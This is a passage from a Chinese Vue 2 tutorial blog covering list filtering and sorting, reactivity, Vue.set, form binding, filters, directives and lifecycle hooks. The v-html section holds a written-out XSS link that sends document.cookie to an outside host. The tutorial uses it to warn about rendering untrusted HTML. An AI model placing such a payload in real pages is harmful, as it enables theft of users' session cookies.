    // 小技巧,可以使用以下功能在 vscode 中实现折叠效果,因为注释代码折叠后,在下方写入 new 关键字折叠会被打开
    // #region
    // #endregion

    // 用watch实现
    /* new Vue({
        el: "#root",
        data: {
            keyWord: "",
            persons: [
                { id: "001", name: "马冬梅", age: 19, sex: "女" },
                { id: "002", name: "周冬雨", age: 20, sex: "女" },
                { id: "003", name: "周杰伦", age: 21, sex: "男" },
                { id: "004", name: "温兆伦", age: 22, sex: "男" },
            ],
            filPerons: [],
        },
        watch: {
            keyWord: {
                // 初始化就调用一次,原因在于 indexof("") 返回结果为 0
                immediate: true,
                handler(value) {
                    this.filPerons = this.persons.filter((p) => {
                        return p.name.indexOf(value) !== -1;
                    });
                },
            },
        },
    });
 */
    //用computed实现
    new Vue({
        el: "#root",
        data: {
            keyWord: "",
            persons: [
                { id: "001", name: "马冬梅", age: 19, sex: "女" },
                { id: "002", name: "周冬雨", age: 20, sex: "女" },
                { id: "003", name: "周杰伦", age: 21, sex: "男" },
                { id: "004", name: "温兆伦", age: 22, sex: "男" },
            ],
        },

        computed: {
            filPerons() {
                return this.persons.filter((p) => {
                    return p.name.indexOf(this.keyWord) !== -1;
                });
            },
        },
    });
</script>

列表排序

<div id="root">
    <h2>人员列表</h2>
    <input type="text" placeholder="请输入名字" v-model="keyWord" />
    <button @click="sortType = 2">年龄升序</button>
    <button @click="sortType = 1">年龄降序</button>
    <button @click="sortType = 0">原顺序</button>
    <ul>
        <!-- 切记不要使用 index 作为 :key 值 -->
        <li v-for="(p,index) of filPerons" :key="p.id">
            {{p.name}}-{{p.age}}-{{p.sex}}
            <input type="text" />
        </li>
    </ul>
</div>

<script type="text/javascript">
    //用computed实现
    new Vue({
        el: "#root",
        data: {
            keyWord: "",
            sortType: 0, // 0原顺序 1降序 2升序
            persons: [
                { id: "001", name: "马冬梅", age: 30, sex: "女" },
                { id: "002", name: "周冬雨", age: 31, sex: "女" },
                { id: "003", name: "周杰伦", age: 18, sex: "男" },
                { id: "004", name: "温兆伦", age: 19, sex: "男" },
            ],
        },
        computed: {
            filPerons() {
                const arr = this.persons.filter((p) => {
                    return p.name.indexOf(this.keyWord) !== -1;
                });
                //判断一下是否需要排序
                if (this.sortType) {
                    // p1>p2,升序,p1<p2,降序
                    // 随机排序:Math.Random()-0.5
                    arr.sort((p1, p2) => {
                        return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age;
                    });
                }
                return arr;
            },
        },
    });
</script>

更新时的一个问题?探讨

<div id="root">
    <h2>人员列表</h2>
    <button @click="updateMei">更新马冬梅的信息</button>
    <ul>
        <li v-for="(p,index) of persons" :key="p.id">{{p.name}}-{{p.age}}-{{p.sex}}</li>
    </ul>
</div>

<script type="text/javascript">
    const vm = new Vue({
        el: "#root",
        data: {
            persons: [
                { id: "001", name: "马冬梅", age: 30, sex: "女" },
                { id: "002", name: "周冬雨", age: 31, sex: "女" },
                { id: "003", name: "周杰伦", age: 18, sex: "男" },
                { id: "004", name: "温兆伦", age: 19, sex: "男" },
            ],
        },
        methods: {
            updateMei() {
                // this.persons[0].name = '马老师'; // 奏效
                // this.persons[0].age = 50; // 奏效
                // this.persons[0].sex = '男'; // 奏效

                // 在控制台输入vm.persons[0],输出信息是更改过后的;但是页面和 vue 控制台 data 中的数据是原来的,不更改,原因是 vue 并没有监测到数据发生改变
                // 如果在点击触发后,在打开 vue 控制台,data数据更改,但是页面不更改,如果先打开 vue 控制台,再触发事件,vue 控制台和页面都不更改
                // this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'}; // 不奏效

                // 请前往Vue.set 的使用 第四点 查看特殊性
                // Vue.set(this.persons, 0, {id:'001',name:'马老师',age:50,sex:'男'}); // 奏效

                this.persons.splice(0, 1, { id: "001", name: "马老师", age: 50, sex: "男" });
            },
        },
    });
</script>

至于为什么更改数组内的元素,不会引起页面信息更新,请至Vue 监测数据改变的原理-Object查看图片
Vue 监测数据改变的原理-Array
特殊性:Vue.set 的使用
Object.defineProperty & Object.Proxy 区别

Vue 监测数据改变的原理_Object

<div id="root">
    <h2>博客名称:{{name}}</h2>
    <h2>博客地址:{{address}}</h2>
</div>

<script type="text/javascript">
    const vm = new Vue({
        el: "#root",
        data: {
            name: "星宿君 の Blog",
            address: "https://blog.huxinfeng.com",
            link: {
                name: "tom",
                age: {
                    rAge: 40,
                    sAge: 29,
                },
                friends: [{ name: "jerry", age: 35 }, 18, "星宿君 の Blog"],
            },
        },
    });
</script>

Vue 数据代理底层能够无限递归,进行数据代理,包括对象,数组中的对象,
但是数组中的值(vm.link.friends[0]、vm.link.friends[1]、vm.link.friends[2])不能够监测到!!!
file
Vue 监测数据改变的原理-Array
Object.defineProperty & Object.Proxy 区别

模拟 Vue 数据监测

定时器写法

let data = {
    name: "星宿君 の Blog",
    address: "https://blog.huxinfeng.com",
};

// 如果不写temp,会一直打印
let temp = "星宿君 の Blog";
setInterval(() => {
    if (data.name !== temp) {
        temp = data.name;
        console.log("name被修改了");
    }
}, 100);

defineProperty 写法

let data = {
    name: "星宿君 の Blog",
    address: "https://blog.huxinfeng.com",
};
// 以下写法会报错,原因是内存溢出,当获取 data.name 属性是会无限递归调用 getter 函数,设置时会无限递归调用 setter 函数,所以 Vue 的 data 会先转化为 _data
Object.defineProperty(data, "name", {
    get() {
        return data.name;
    },
    set(v) {
        data.name = v;
    },
});

file

Vue defineProperty 写法

以下只能实现一层数据代理,不能够像 Vue 那样递归深层代理
Vue 实现了 vm.属性 => vm._data.属性的代理
Vue 不仅可以在 Object 深层代理,在 Array 也行
let data = {
    name: "星宿君 の Blog",
    address: "https://blog.huxinfeng.com",
};

//创建一个监视的实例对象,用于监视 data 中属性的变化
const obs = new Observer(data);
console.log(obs);

//准备一个 vm 实例对象
let vm = {};
vm._data = data = obs;

function Observer(obj) {
    //汇总对象中所有的属性形成一个数组
    const keys = Object.keys(obj);
    //遍历
    keys.forEach((key) => {
        // this 指向 Observer 实例
        Object.defineProperty(this, key, {
            get() {
                return obj[key];
            },
            set(v) {
                console.log(`${key}被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了`);
                obj[key] = v;
            },
        });
    });
}

Vue.set 的使用

<div id="root">
    <h1>博客信息</h1>
    <h2>博客名称:{{blog.name}}</h2>
    <h2>博客地址:{{blog.address}}</h2>
    <h2>作者是:{{blog.leader}}</h2>
    <hr />

    <h1>同学信息</h1>
    <button @click="addSex">添加一个性别属性,默认值是男</button>
    <h2>姓名:{{student.name}}</h2>
    <h2 v-if="student.sex">性别:{{student.sex}}</h2>
    <h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
    <h2>朋友们</h2>
    <ul>
        <li v-for="(f,index) in student.friends" :key="index">{{f.name}}--{{f.age}}</li>
    </ul>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        data: {
            blog: {
                name: "星宿君 の Blog",
                address: "https://blog.huxinfeng.com",
            },
            student: {
                name: "tom",
                age: {
                    rAge: 40,
                    sAge: 29,
                },
                friends: [
                    { name: "jerry", age: 35 },
                    { name: "tony", age: 36 },
                ],
            },
        },
        methods: {
            addSex() {
                // Vue.set(this.student,'sex','男')
                this.$set(this.student, "sex", "男");
            },
        },
    });
</script>
  1. Vue 缺陷
    file
  2. Vue 提供的解决方法(但是有局限)
    (1) Vue.set(vm._data.student, "sex", "男") 或者 Vue.set(vm.student, "sex", "男")
    (2) vm.$set(vm._data.student, "sex", "男") 或者 vm.$set(vm.student, "sex", "男")
  3. 局限性
    Vue.set 只能给 data 中已存在的属性追加属性,如 Vue.set(vm._data, "leader", "me"),会报错误(不允许添加一个响应式数据在 Vue 实例身上)
    file
  4. 特殊性
    Vue.set(vm.friends, 0, { name: "星宿君", age: 18 }),可以更改数据成功
    相关信息链接:Vue 监测数据改变的原理-Array

如果 data.student = {},Vue 页面{{student.a}}不显示 undefined,显示空,且不报错,如果输入 student.a.b 就报错,因为 undefined.属性 会报错

Vue 监测数据改变的原理-Array

<div id="root">
    <h1>博客信息</h1>
    <h2>博客名称:{{blog.name}}</h2>
    <h2>博客地址:{{blog.address}}</h2>
    <h2>作者是:{{blog.leader}}</h2>
    <hr />
    <h1>学生信息</h1>
    <button @click="addSex">添加一个性别属性,默认值是男</button>
    <h2>姓名:{{student.name}}</h2>
    <h2 v-if="student.sex">性别:{{student.sex}}</h2>
    <h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
    <h2>爱好</h2>
    <ul>
        <li v-for="(h,index) in student.hobby" :key="index">{{h}}</li>
    </ul>
    <h2>朋友们</h2>
    <ul>
        <li v-for="(f,index) in student.friends" :key="index">{{f.name}}--{{f.age}}</li>
    </ul>
</div>

<script type="text/javascript">
    const vm = new Vue({
        el: "#root",
        data: {
            blog: {
                name: "星宿君 の Blog",
                address: "https://blog.huxinfeng.com",
            },
            student: {
                name: "tom",
                age: {
                    rAge: 40,
                    sAge: 29,
                },
                // 更改数组内的元素,不会引起页面信息更新,也就是说没有实现数据代理(除 Vue 控制台手动更改和数组方法操作)
                // vm.student.hobby[0] = "学习";
                hobby: ["抽烟", "喝酒", "烫头"],
                friends: [
                    { name: "jerry", age: 35 },
                    { name: "tony", age: 36 },
                ],
            },
        },
        methods: {
            addSex() {
                // Vue.set(this.student,'sex','男')
                this.$set(this.student, "sex", "男");
            },
        },
    });
</script>

至于为什么更改数组内的元素,不会引起页面信息更新,请至Vue 监测数据改变的原理-Object查看图片

解决方法,可以用数组方法
push、unshift、splice、reverse、sort、pop、shift
这些方法中,push、unshift、splice
是劫持不到数据的,vue2.0 源码对其进行了重写
以下图片可以证明 vue 对其重构了底层数组方法
file

Object.defineProperty & Object.Proxy 区别

总结数据监视

<div id="root">
    <h1>同学信息</h1>
    <button @click="student.age++">年龄+1岁</button> <br />
    <button @click="addSex">添加性别属性,默认值:男</button> <br />
    <button @click="student.sex = '未知' ">修改性别</button> <br />
    <button @click="addFriend">在列表首位添加一个朋友</button> <br />
    <button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button> <br />
    <button @click="addHobby">添加一个爱好</button> <br />
    <button @click="updateHobby">修改第一个爱好为:开车</button> <br />
    <button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br />
    <h3>姓名:{{student.name}}</h3>
    <h3>年龄:{{student.age}}</h3>
    <h3 v-if="student.sex">性别:{{student.sex}}</h3>
    <h3>爱好:</h3>
    <ul>
        <li v-for="(h,index) in student.hobby" :key="index">{{h}}</li>
    </ul>
    <h3>朋友们:</h3>
    <ul>
        <li v-for="(f,index) in student.friends" :key="index">{{f.name}}--{{f.age}}</li>
    </ul>
</div>

<script type="text/javascript">
    const vm = new Vue({
        el: "#root",
        data: {
            student: {
                name: "tom",
                age: 18,
                hobby: ["抽烟", "喝酒", "烫头"],
                friends: [
                    { name: "jerry", age: 35 },
                    { name: "tony", age: 36 },
                ],
            },
        },
        methods: {
            addSex() {
                // 这样写,数据不会进行代理,也就实现不了数据响应式
                // this.student.sex = ""男;

                // Vue.set(this.student,'sex','男')
                this.$set(this.student, "sex", "男");
            },
            addFriend() {
                this.student.friends.unshift({ name: "jack", age: 70 });
            },
            updateFirstFriendName() {
                this.student.friends[0].name = "张三";
            },
            addHobby() {
                this.student.hobby.push("学习");
            },
            updateHobby() {
                // this.student.hobby.splice(0,1,'开车')
                // Vue.set(this.student.hobby,0,'开车')
                this.$set(this.student.hobby, 0, "开车");
            },
            removeSmoke() {
                this.student.hobby = this.student.hobby.filter((h) => {
                    return h !== "抽烟";
                });
            },
        },
    });
</script>

总结

Vue 监视数据的原理:

  1. vue 会监视 data 中所有层次的数据。
  2. 如何监测对象中的数据?
    通过 setter 实现监视,且要在 new Vue 时就传入要监测的数据。
    (1) 对象中后追加的属性,Vue 默认不做响应式处理
    (2) 如需给后添加的属性做响应式,请使用如下 API:
    Vue.set(target,propertyName/index,value) 或
    vm.$set(target,propertyName/index,value)
  3. 如何监测数组中的数据?
    通过包裹数组更新元素的方法实现,本质就是做了两件事:
    (1) 调用原生对应的方法对数组进行更新。
    (2) 重新解析模板,进而更新页面。
  4. 在 Vue 修改数组中的某个元素一定要用如下方法:
    (1) 使用这些 API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
    (2) Vue.set() 或 vm.$set()
    特别注意:Vue.set() 和 vm.$set() 不能给 vm 或 vm 的根数据对象 添加属性!!!

数据劫持,数据代理

13.收集表单数据

<div id="root">
    <!-- 如果点击 button 按钮后,会触发 from 表单默认行为,所以加上 .prevent 可以阻止默认行为 -->
    <form @submit.prevent="demo">
        <!-- .trim 删除输入框文本信息的前后空字符串 -->
        账号:<input type="text" v-model.trim="userInfo.account" /><br /><br />
        密码:<input type="password" v-model="userInfo.password" /><br /><br />

        <!-- type="number" 可以限制键盘对其输入非数字类型,但是 input 输入框接收的任然是 String -->
        <!-- .number 可以将输入框中的 String 转为 Number 类型 -->
        年龄:<input type="number" v-model.number="userInfo.age" /><br /><br />

        <!-- 切记 v-model 只能获取 value 的值,所以针对 input 没有 value 的要单独设置 value 值 -->
        <!-- 针对 radio,如果不写value,Vue 默认值是 null  -->
        性别: 男<input type="radio" name="sex" v-model="userInfo.sex" value="male" />女<input type="radio" name="sex" v-model="userInfo.sex" value="female" /><br /><br />

        <!-- 针对 checkbox,如果不写value,Vue 默认绑定的是 checked  -->
        爱好: 学习<input type="checkbox" v-model="userInfo.hobby" value="study" /> 打游戏<input type="checkbox" v-model="userInfo.hobby" value="game" /> 吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat" /><br /><br />

        所在地区
        <select v-model="userInfo.city">
            <option value="">请选择所在位置</option>
            <option value="beijing">北京</option>
            <option value="shanghai">上海</option>
            <option value="guangzhou">广州</option>
            <option value="shenzhen">深圳</option>
        </select>
        <br /><br />

        其他信息:
        <!-- .lazy 输入框失去焦点才更新 data 中的数据 -->
        <textarea v-model.lazy="userInfo.other"></textarea>
        <br /><br />

        <!-- 多选框如果是多个,则需要设置对应的 value,且 data 中数据写成数组类型 -->
        <!-- 如果是单个,则不需要设置 value,且 data 中的类型为字符串 -->
        <input type="checkbox" v-model="userInfo.agree" />阅读并接受<a href="https://blog.huxinfeng.com/privacy-policy">《用户协议》</a> <br /><br />

        <button>提交</button>
    </form>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        data: {
            userInfo: {
                account: "",
                password: "",
                age: 18,
                sex: "female",
                // 切记 hobby 不能写成 happy: "", 原因是 hobby 默认初始值是空,如果勾选其中一个多选框,该值就会变成 true,获取的还是 chenked
                hobby: [],
                city: "beijing",
                other: "",
                agree: "",
            },
        },
        methods: {
            demo() {
                // 如果之前不写 userInfo,也可以通过这种方式发送,不影响,但是不建议这样设置
                // JSON.stringify(this.data);
                console.log(JSON.stringify(this.userInfo));
            },
        },
    });
</script>

总结

收集表单数据:

  1. 若:,则 v-model 收集的是 value 值,用户输入的就是 value 值。
  2. 若:,则 v-model 收集的是 value 值,且要给标签配置 value 值。
  3. 若:
    (1) 没有配置 input 的 value 属性,那么收集的就是 checked(勾选 or 未勾选,是布尔值)
    (2) 配置 input 的 value 属性:
    v-model 的初始值是非数组,那么收集的就是 checked(勾选 or 未勾选,是布尔值)
    v-model 的初始值是数组,那么收集的的就是 value 组成的数组
  4. 备注:v-model 的三个修饰符:
    lazy:失去焦点再收集数据
    number:输入字符串转为有效的数字
    trim:输入首尾空格过滤

14.过滤器

<div id="root">
    <h2>显示格式化后的时间</h2>
    <!-- 计算属性实现 -->
    <h3>现在是:{{fmtTime}}</h3>
    <!-- methods实现 -->
    <h3>现在是:{{getFmtTime()}}</h3>

    <!-- 过滤器实现 -->
    <!-- | 称为管道符,原理是解析 time,然后将 time 作为参数传给 timeFormater -->
    <h3>现在是:{{time | timeFormater}}</h3>
    <!-- 过滤器实现(传参) -->
    <!-- 多个过滤器,流程 time 传给 timeFormater,结果在传给 mySlice -->
    <h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
    <h3 :x="msg | mySlice">星宿君 の Blog</h3>

    <!-- 不支持 input(v-model) 过滤,会报错 -->
    <!-- <input type="text" v-model="msg | mySlice" /> -->
</div>
<div id="root2">
    <h2>{{msg | mySlice}}</h2>
</div>

<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/dayjs@1.10.6/dayjs.min.js"></script>
<script type="text/javascript">
    //全局过滤器
    Vue.filter("mySlice", function (value) {
        return value.slice(0, 4);
    });

    new Vue({
        el: "#root",
        data: {
            time: 1621561377603, //时间戳
            msg: "你好,星宿君",
        },
        computed: {
            fmtTime() {
                return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");
            },
        },
        methods: {
            getFmtTime() {
                return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");
            },
        },
        //局部过滤器
        filters: {
            // value 指 time
            timeFormater(value, str = "YYYY年MM月DD日 HH:mm:ss") {
                // console.log('@',value)
                return dayjs(value).format(str);
            },
        },
    });

    new Vue({
        el: "#root2",
        data: {
            msg: "hello,星宿君!",
        },
    });
</script>

总结

过滤器:

  1. 定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
  2. 语法:
    (1) 注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
    (2) 使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"
  3. 备注:
    (1) 过滤器也可以接收额外参数、多个过滤器也可以串联
    (2) 并没有改变原本的数据, 是产生新的对应的数据

15.内置指令

v-text 指令

<div id="root">
    <div>你好,{{name}}</div>
    <!-- 切记,不能在 div 里面写入文本,无效,v-text 默认将 name 值替换掉 div 里面的值 -->
    <div v-text="name"></div>
    <div v-text="str"></div>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        data: {
            name: "星宿君",
            // v-text 会将里面的值转成文本结构,所以不会解析标签,类似于 innerText
            str: "<h3>你好啊!</h3>",
        },
    });
</script>
小结
  1. 我们学过的指令:
    v-bind : 单向绑定解析表达式, 可简写为 :xxx
    v-model : 双向数据绑定
    v-for : 遍历数组/对象/字符串
    v-on : 绑定事件监听, 可简写为@
    v-if : 条件渲染(动态控制节点是否存存在)
    v-else : 条件渲染(动态控制节点是否存存在)
    v-show : 条件渲染 (动态控制节点是否展示)
  2. v-text 指令:
    (1) 作用:向其所在的节点中渲染文本内容。
    (2) 与插值语法的区别:v-text 会替换掉节点中的内容,{{xx}}则不会。

v-html 指令

<div id="root">
    <div>你好,{{name}}</div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        data: {
            name: "星宿君",
            // v-html 会解析标签 类似于 innerHTML
            str: "<h3>你好啊!</h3>",
            // 将跳转之前的 cookie 发送给 http://www.huxinfeng.com
            str2: '<a href=javascript:location.href="http://www.huxinfeng.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
        },
    });
</script>
小结

v-html 指令:

  1. 作用:向指定节点中渲染包含 html 结构的内容。
  2. 与插值语法的区别:
    (1) v-html 会替换掉节点中所有的内容,{{xx}}则不会。
    (2) v-html 可以识别 html 结构。
  3. 严重注意:v-html 有安全性问题!!!!
    (1) 在网站上动态渲染任意 HTML 是非常危险的,容易导致 XSS 攻击。
    (2) 一定要在可信的内容上使用 v-html,永不要用在用户提交的内容上!
    cookie 图示
    file
    (3) document.cookie 的安全策略
    file

v-cloak 指令

<style>
    [v-cloak] {
        display: none;
    }
</style>

<div id="root">
    <h2 v-cloak>{{name}}</h2>
</div>
<!-- 延迟5s后返回vue.js -->
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
<script type="text/javascript">
    console.log(1);

    new Vue({
        el: "#root",
        data: {
            name: "星宿君 の Blog",
        },
    });
</script>
小结

v-cloak 指令(没有值):

  1. 本质是一个特殊属性,Vue 实例创建完毕并接管容器后,会删掉 v-cloak 属性。
  2. 使用 css 配合 v-cloak 可以解决网速慢时页面展示出{{xxx}}的问题。

v-once 指令

<div id="root">
    <h2 v-once>初始化的n值是:{{n}}</h2>
    <h2>当前的n值是:{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        data: {
            n: 1,
        },
    });
</script>
小结

v-once 指令:

  1. v-once 所在节点在初次动态渲染后,就视为静态内容了。
  2. 以后数据的改变不会引起 v-once 所在结构的更新,可以用于优化性能。

v-pre 指令

<div id="root">
    <!-- h2 里面的内容不解析 vue -->
    <h2 v-pre>
        Vue其实很简单
        <p>当前的n值是:{{n}}</p>
    </h2>

    <h2>当前的n值是:{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        data: {
            n: 1,
        },
    });
</script>
小结

v-pre 指令:

  1. 跳过其所在节点的编译过程。
  2. 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

16.自定义指令

<div id="root">
    <h2>{{name}}</h2>
    <h2>当前的n值是:<span v-text="n"></span></h2>
    <h2>放大10倍后的n值是:<span v-big="n"></span></h2>

    <h2>放大10倍后的n值是:<span v-big-number="n"></span></h2>
    <button @click="n++">点我n+1</button>
    <hr />
    <input type="text" v-fbind:value="n" />
</div>

<script type="text/javascript">
    // 定义全局指令
    /* Vue.directive('fbind', {
            // 指令与元素成功绑定时(一上来)
            bind(element, binding){
                element.value = binding.value;
            },
            // 指令所在元素被插入页面时
            inserted(element, binding){
                element.focus();
            },
            // 指令所在的模板被重新解析时
            update(element, binding){
                element.value = binding.value;
            }
        }) */

    // 定义局部指令
    new Vue({
        el: "#root",
        data: {
            name: "星宿君 の Blog",
            n: 1,
        },
        directives: {
            // big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。

            big(element, binding) {
                console.log("big", this); // 注意此处的 this 是 window
                element.innerText = binding.value * 10;
            },
            fbind: {
                // 指令与元素成功绑定时(一上来)
                bind(element, binding) {
                    console.log("bind", this); // 注意此处的 this 是 window
                    element.value = binding.value;
                },
                // 指令所在元素被插入页面时
                inserted(element, binding) {
                    console.log("inserted", this); // 注意此处的 this 是 window
                    element.focus();
                },
                // 指令所在的模板被重新解析时
                update(element, binding) {
                    console.log("update", this); // 注意此处的 this 是 window
                    element.value = binding.value;
                },
            },
            // 指令如果是 v-bigNumber,vue 解析成 bignumber,所以建议单词之间用 - 连接
            "big-number"(element, binding) {
                element.innerText = binding.value * 10;
            },
        },
    });
</script>

总结

需求 1:定义一个 v-big 指令,和 v-text 功能类似,但会把绑定的数值放大 10 倍。
需求 2:定义一个 v-fbind 指令,和 v-bind 功能类似,但可以让其所绑定的 input 元素默认获取焦点。

  1. 自定义指令总结:
    一、定义语法:
    (1) 局部指令:
    new Vue({ new Vue({
    directives:{指令名:配置对象} 或 directives{指令名:回调函数}
    }) })
    (2) 全局指令:
    Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
    二、配置对象中常用的 3 个回调:
    (1) bind:指令与元素成功绑定时调用。
    (2) inserted:指令所在元素被插入页面时调用。
    (3) update:指令所在模板结构被重新解析时调用。
    三、备注:
    (1) 指令定义时不加 v-,但使用时要加 v-;
    (2) 指令名如果是多个单词,要使用 kebab-case 命名方式,不要用 camelCase 命名。

17.生命周期

引出生命周期

<div id="root">
    <h2 v-if="a">你好啊</h2>
    <h2 :style="{opacity}">欢迎学习Vue</h2>
    <!-- {{change()}} -->
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        data: {
            a: false,
            opacity: 1,
        },
        methods: {
            // 禁止使用这种方法,opacity 变化一次,执行一次函数,且每隔 16ms 再次调用该函数,启动函数次数为指数增长
            /*  change() {
                setInterval(() => {
                    console.log("开启定时器");
                    this.opacity -= 0.01;
                    if (this.opacity <= 0) this.opacity = 1;
                }, 16);
            }, */
        },
        // Vue 完成模板的解析并把初始的真实 DOM 元素放入页面后(挂载完毕)调用 mounted
        mounted() {
            console.log("mounted", this); // 注意此处的 this 是 Vue 实例
            setInterval(() => {
                this.opacity -= 0.01;
                if (this.opacity <= 0) this.opacity = 1;
            }, 16);
        },
    });

    // 通过外部的定时器实现(不推荐)
    /* setInterval(() => {
        vm.opacity -= 0.01;
        if (vm.opacity <= 0) vm.opacity = 1;
    }, 16); */
</script>
小结

生命周期:

  1. 又名:生命周期回调函数、生命周期函数、生命周期钩子。
  2. 是什么:Vue 在关键时刻帮我们调用的一些特殊名称的函数。
  3. 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
  4. 生命周期函数中的 this 指向是 vm 或 组件实例对象。

分析生命周期

<!-- vue 模板编译包括 div#root 本身,即 x = "n" 也会被解析 -->
<div id="root" :x="n">
    <h2 v-text="n"></h2>
    <h2>当前的n值是:{{n}}</h2>
    <button @click="add">点我n+1</button>
    <button @click="bye">点我销毁vm</button>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        /* template: `
            <div>
                <h2>当前的n值是:{{n}}</h2>
                <button @click="add">点我n+1</button>
            </div>
        `, */
        data: {
            n: 1,
        },
        methods: {
            add() {
                console.log("add");
                this.n++;
            },
            bye() {
                console.log("bye");
                this.$destroy();
            },
        },
        // 在 beforeUpdate 之前调用
        watch: {
            n() {
                console.log("n变了");
            },
        },
        // 不可以访问 data 数据
        beforeCreate() {
            console.log("beforeCreate", this); // this 是 Vue 实例
            // debugger;
        },
        // 可以访问 data 数据
        created() {
            console.log("created", this); // this 是 Vue 实例
        },
        // 指令未编译
        beforeMount() {
            // 对 DOM 操作结果最终无效
            // document.querySelector("h2").innerText = 123;
            console.log("beforeMount", this); // this 是 Vue 实例
        },
        // 指令已编译
        mounted() {
            // 此时对 DOM 操作结果最终有效
            // document.querySelector("h2").innerText = 123;
            console.log("mounted", this); // this 是 Vue 实例
        },
        // 数据是新的,页面是旧的,数据和页面尚未保存同步
        beforeUpdate() {
            console.log("beforeUpdate", this); // this 是 Vue 实例
        },
        // 数据和页面保存同步
        updated() {
            console.log("updated", this); // this 是 Vue 实例
        },

        // 当 vm.$destroy() 被调用时,执行一下两个函数,并且移除全部指令和自定义事件监听器(@click不移除)
        beforeDestroy() {
            // 此时 vm 所有事件都处于可用状态
            // 控制台打印 add,也执行 this.n++,但是页面不更新
            // this.add();
            console.log("beforeDestroy", this); // this 是 Vue 实例
        },
        // vm 销毁
        destroyed() {
            console.log("destroyed", this); // this 是 Vue 实例
        },
    });
</script>
小结

生命周期图
file
Vue - 生命周期详解

总结生命周期

<div id="root">
    <h2 :style="{opacity}">欢迎学习Vue</h2>
    <button @click="opacity = 1">透明度设置为1</button>
    <button @click="stop">点我停止变换</button>
</div>

<script type="text/javascript">
    new Vue({
        el: "#root",
        data: {
            opacity: 1,
        },
        methods: {
            stop() {
                this.$destroy();
            },
        },
        //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
        mounted() {
            console.log("mounted", this);
            this.timer = setInterval(() => {
                console.log("setInterval");
                this.opacity -= 0.01;
                if (this.opacity <= 0) this.opacity = 1;
            }, 16);
        },
        beforeDestroy() {
            clearInterval(this.timer);
            console.log("vm即将驾鹤西游了");
        },
    });
</script>
小结
  1. 常用的生命周期钩子:
    (1) mounted: 发送 ajax 请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
    (2) beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。
  2. 关于销毁 Vue 实例
    (1) 销毁后借助 Vue 开发者工具看不到任何信息。
    (2) 销毁后自定义事件会失效,但原生 DOM 事件依然有效。
    (3) 一般不会在 beforeDestroy 操作数据,因为即便操作数据,也不会再触发更新流程了。

博主好穷啊,快点支助一下吧 ε = = (づ′▽`)づ